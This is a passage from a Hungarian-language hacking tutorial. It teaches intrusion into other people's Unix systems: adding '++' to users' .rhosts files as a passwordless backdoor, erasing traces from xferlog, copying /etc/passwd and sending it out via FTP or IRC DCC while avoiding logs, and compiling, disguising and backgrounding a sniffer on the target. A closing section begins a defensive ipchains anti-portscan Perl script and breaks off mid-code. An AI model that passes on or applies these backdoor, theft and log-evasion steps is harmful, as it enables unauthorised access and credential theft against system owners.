mindhárom csoportnak olvasási jogot ad. chmod og-r fájlnév csak a tulajdonosnak ad olvasási jogot (a - és + jelekkel állíthatjuk) chmod +x fájlnév mindenkinek futtatási jogot ad. chown felhasználónév fájlnév a felhasználónév lesz ezután a fájl tulajdonosa. chgrp csoportnév fájlnév a csoportnévhez fog ezután a fájl tartozni. Gyozodjünk meg róla, hogy a fájl jogosultságai megfeleloen vannak beállítva. Ezen beállítások megváltoztatása csak más funkciók muködését veszélyezteti, tehát ne molesztáljuk oket, vagy pedig elkapnak. Csak olyasmit csinálj, amiben *BIZTOS vagy. Csak olyan parancsokat használj, amelyeket ismersz, órákat tölthetsz hibakereséssel egyetlen elírt betu miatt, mint pl. chown -R felhasználónév /ezzel egy évre lefoglalod magad ;) Légy óvatos! Többet beszélünk majd errol, ha eljön az ideje. 1C rész - Rlogin Ez megint egy fontos parancs, amelyet arra használhatsz, hogy egy rendszerbe jelszó nélkül lépj be.
Most olvasd el a man-oldalakat az rlogin-ról a shelledben Az alapparancs a következo: 56 Hackers’ Guide rlogin -l felhasználónév hostnév connecting. password: bash$ Az Rlogin számára szükséges, hogy a felhasználónak legyen egy fájl a homekönyvtárában, amely meghatározza, hogy milyen címekrol fogad rlogin-t. Ennek a neve ".rhosts" A bejegyzések ebben így néznek ki: felhasználónév hostnév (vagy) hostnév Ha ezt illeszted a fájl végére: "++" akkor bárhonnan bármilyen felhasználót beenged jelszó nélkül. Ha már vannak itt bejegyzések, akkor a "++"-t a hostnevek alá tegyük, de ne felejtsük el, hogy innentol kezdve észre fogják venni, hogy jelszó nélkül tudnak belépni. Olyan embereket válassz, akiknek még nincsen .rhosts fájljuk 1D rész - FTP A következo mód a bejelentkezésre az FTP. ftp ftp.domaincom Ez lehetové teszi, hogy fájlokat tölts le vagy tölts föl a számítógépre, amelyet hackelsz.
Gyozodj meg róla, hogy az "xferlog" fájlból kitörlöd a nyomaidat a dolog után. Soha ne ftp-zz vagy telnetezz a célgéprol, mindig csak befelé! Ha a saját rendszeredbol hackelsz, vagy más hackelt accountról, akkor ezáltal kiadod a rendszergazdának vagy más hackernak a felhasználónevedet és jelszavadat. Egy telnetd vagy ftpd trójai program lehet a rendszeren, vagy egy sniffer. Ha a rendszergazda rakta oda, akkor most azt fogja gondolni: "édes a bosszú" :) Az ftp-t a shelledbol használva a következo parancsokat használhatod: Miután bejelentkeztél és megvan a promptod, írd be ezeket a parancsokat, mindegyik után entert ütve. prompt hash bin A prompt megengedi, hogy olyan parancsokat írj, mint pl. "mget *" vagy "mput " és egész könyvtárakat letölts vagy feltölts anélkül, hogy minden fájlt külön kellene. hash jelek: a hash "#" jeleket fog a képernyore tenni, és így látod, hogy az átvitel folyik-e
még és hogy milyen sebességgel. A bin biztosítja, hogy a fájlokat megfelelo formátumban kapod meg. Az átviteli parancsok egyszeruek, pl. "get fájlnév", vagy "put fájlnév", vagy sok fájl esetén "mget *" vagy "mget file??". 1E rész - GCC fordító Eljön az ido, amikor le kell fordítanod egy .c fájlt 57 Hackers’ Guide A legjobb, ha azon a rendszeren fordítod le, amelyiket fel akarod törni. Tehát töltsd fel a fájlokat a hackelt számítógépre és ott fordítsd le. Ha problémáid támadnak az ottani fordítóval, megpróbálkozhatsz elofordított fájlokkal is. Az egyik jó fájlfeltöltési módszer a copy&paste. Egy jó memóriarezidens vagy windowsos shareware program is megteszi, ha nincs más. Fogod a szkriptfájlt, amit le akarsz fordítani, és a vágólapra másolod. Utána a célgépen megnyitod a szerkesztot és a vágólapról bemásolod a szkriptet. Walaa nem loggol semmit A célgéprol is használhatod
ezt a módszert, hogy ne legyen log az ASCII fájlok átvitelérol. A jelszófájllal is megcsinálhatod ugyanezt. Ha az ftp-vel töltöd le a jelszófájlt, eloször másold be a home-könyvtáradba (a célgépen) valami más néven. bash:/etc:> cp passwd $HOME/plog ez bemásolja a passwd nevu fájlt az /etc könyvtárból a home-könyvtáradba plog néven. A rendszergazdák rendszeresen átnézik az átviteli logokat, hogy ki töltötte le a passwd fájlt. Egy másik út a loggolás elkerülésére, hogy fellépünk az irc-re a célgéprol, és a másik számítógéprol, amelyikrol hackelsz, szintén. A fájlokat ezután DCC-n keresztül átnyomhatjuk. A parancs, amelyikkel a fájlokat küldhetjük: /dcc send <nicknév> <fájlnév>. A másik oldalon pedig: /dcc get <nicknév> <fájlnév> Egy botot is felrakhatsz a hackelt számítógépre, és a botnak küldött fájlokat automatikusan fogadja el. Ezáltal egyszerusítheted a munkát A GCC fordító
egyszeru. gcc fájlnév.c -o fájlnévamitakarsz Ha például a z2.c nevu fájlt akarjuk lefordítani zap névre, akkor írjuk ezt: gcc z2.c -o zap Ez egy fájlt eredményez, amelyik végrehajtható, és a neve "zap". Ha csak azt írjuk, hogy gcc z2.c, akkor egy olyan nevu fájlt kapunk, hogy "aout", amelyiket át kell neveznünk zap-ra, pl. mv a.out zap Okosan válaszd meg a fájlneveket, hogy az admin ne jöjjön rá, miben mesterkedünk. Ha pl. egy olyan nevu fájlunk van, hogy "linuxsnifferc" akkor ne tartsuk meg ezt a fájlnevet, hanem pl. gcc linuxsniffer.c -o lsn Általában elindíthatod a futtatható fájljaidat úgy, hogy beírod a nevüket abban a könyvtárban állva, ahol vannak, pl. "lsn" De néha ez nem muködik, ha nem teszel elé egy "./" jelet, tehát "/lsn" Ezenkívül van, hogy azt akarjuk, hogy a program fusson tovább, miután kilépünk. (Mint például a fenti sniffer) Ilyen esetekben olyan névre kell
neveznünk a fájlt, amelyet nem könnyu észrevenni. Alakíts ki egy saját 58 Hackers’ Guide stílust ebben, DE ahhoz, hogy a program a háttérben fusson, egy "&" jelet kell tenned a parancs után: lsn& Ha csak "lsn"-t írsz, a képernyot lefoglalja a program, és nem tudsz írni semmit, amíg fut. De ha "lsn&"-t írsz, a program elindul és azonnal visszakapjuk a promptot A rendszer kiírja, ha a programot a háttérben indítjuk (mint pl. "launched into background" vagy ilyesmi), valamint kiírja a processz azonosító számát is. A processzt megnézheted a "ps -x" paranccsal, vagy pl. írhatod ezekkel a kapcsolókkal: ps -auxe | more a= mindenki u= felhasználó neve x= a tied e= környezet néhány gépen: f=tree vagy van ilyen parancs, hogy "pstree" * IP Chains kiegészítés Ebben a cikkben az ipchains használatára szeretnék egy elég hatékony módszert mutatni egy Perl scripten keresztül.
Az ipchains egy olyan program, amivel IP szûrési szabályokat adhatunk meg a Linux kernelnek, ezeket módosíthatjuk illetve listázhatjuk. Alapvetoen négyféle szûrési szabályt hozhatunk létre: a bejövo, kimeno kapcsolatokhoz, valamint továbbítási lehetoség is van benne. A "chain" szabályok sorozata, minden egyes szabály meghatározó információkat tartalmaz a bejövo és kimeno címekrol, a protokollokról, a portokról és a szûrés néhány más jellemzojérol. Ha egy csomag megfelel a szabályban leírt feltételeknek, akkor a hozzá kapcsolt esemény lép életbe. Ez a következok egyike lehet: a Kernel elfogadja a csatlakozást (ACCEPT), letiltja azt (DENY), visszautasítja (REJECT), továbbküldi (REDIRECT), vagy visszaküldi a feladónak :) (RETURN). A MASQ érték csak továbbítási, és egyedileg definiált "chain"-eknél használható. Az IpChains-hez legalább 2.1102 verziójú Linux kernel szükséges, és abban is 59 Hackers’
Guide befordítva kell lennie a CONFIG IP FIREWALL opciónak. (ha a /proc/net/ip fwchains nem létezik akkor peched van, kernelt kell fordítanod) Térjünk át a cikk elején említett scriptre. A legtöbb webes betörés információszerzéssel kezdodik. A gonosz hákker:) megpróbál minnél többet megtudni a szerverrol, vagyis milyen szolgáltatások futnak rajta, milyen operációs rendszer van rajta, ezek verziószámát stb. stb Ehhez elengedhetetlen egy port scan lefuttatása, hiszen a gépen futó programokból jó esetben elég sok minden kiderül a célgéprol. Tegyük fel, a 25-ös porton talál a portscanner egy SMTPD-t, mert fut a szerverünkön a sendmail. A sendmail tehát elküldi a bannerjét a hákkernek, aki máris tud egy fontos információt a szerverrol, mégpedig hogy kizárhatja a Windows NT-nek még az esélyét is ;-) A script ezen alapszik. :) Egy olyan portot nyit, amire véletlenül biztos hogy nem téved be senki, tehát valószínû egy portscannelo
próbálkozik rajta. Ekkor jön be a képbe az aranyos ipchains, kap a hákker egy DENY-t, hogy lehetoleg békén hagyja ezután a szerverünket.:) Néhány változót a script elején módosítanod kell, azzal kapcsolatban, hogy küldjön-e számodra a szerver email értesítést, ha valaki szórakozott, milyen üzeneteket küldjön vissza a hákkernek, stb. Ügyelj arra, hogy a Perl a helyes elérési útvonalát kell megadni a script elején. Na meg a Perl jobban szereti a UNIX-os fájltördelést Ha problémád lenne vele, akkor a dos2unix utasítással lehet átalakítani. Newbie-k kedvéért. Miután biztosan fut a script, átrakhatod, hogy a háttérben fusson a: nohup ./ipchainspl & parancs kiadásával. by -=|R|S|C|=#!/usr/bin/perl #################################### # # Kesz¡tette: RSC mailto:rsctm@freemail.hu # ipchains kiegesz¡to script # #################################### my $logfile = ./logtxt; #ide loggol a script my $SERVERPORT = 340; #ezen a porton figyel. my
$EOL = "